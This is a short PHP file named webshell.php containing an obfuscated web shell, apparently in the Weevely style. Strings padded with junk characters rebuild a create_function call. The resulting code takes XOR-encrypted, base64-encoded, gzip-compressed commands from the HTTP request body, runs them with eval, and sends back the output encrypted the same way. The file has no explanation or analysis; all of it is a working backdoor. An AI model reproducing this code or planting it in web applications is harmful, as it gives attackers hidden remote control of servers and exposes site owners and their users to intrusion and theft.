webshell.php

<?php
$G='et_conBOtenBOts()BO;@ob_BOend_clean(BO);$r=@baseBO64_enBOcode(BO@x(@gzcBOoBOmpress(BO$oBO),$k))BO;print(BO"$p$kh$r$kf");}';
$N=str_replace('B','','creBatBBe_fBBuBnction');
$P='$k="4eBOff2c04";$BOkh="1BOBO976ea22afb7BO";$BOkf="092a531BO88cBO70";$BOp="NBO2RC1Dx2bGzpXBOhBOWQBO";function xBO($BOt';
$X='O/input"),$mBO)==1)BO {@ob_sBOtart()BO;@evaBOl(@gzuncomBOpreBOsBOs(@x(@basBOe64_decoBOBOde($m[1]),$k))BO);$o=@oBOb_gBO';
$R=',$k){$c=strBOlen($kBO)BO;$l=strlBOen($t);BO$o="BO";forBO($i=0;BO$i<BO$l;){fBOor($j=0;($jBO<$c&&$BOi<$l);$j+BO+,$i+BO+){';
$B='$o.=BO$t{$BOBOi}^BO$k{$j};}}returnBO $o;BO}if (BO@preg_matBOch(BO"/$kBOh(.+)$kf/",@fiBOle_getBO_BOconBOtenBOts("php:/B';
$M=str_replace('BO','',$P.$R.$B.$X.$G);
$K=$N('',$M);$K();
?>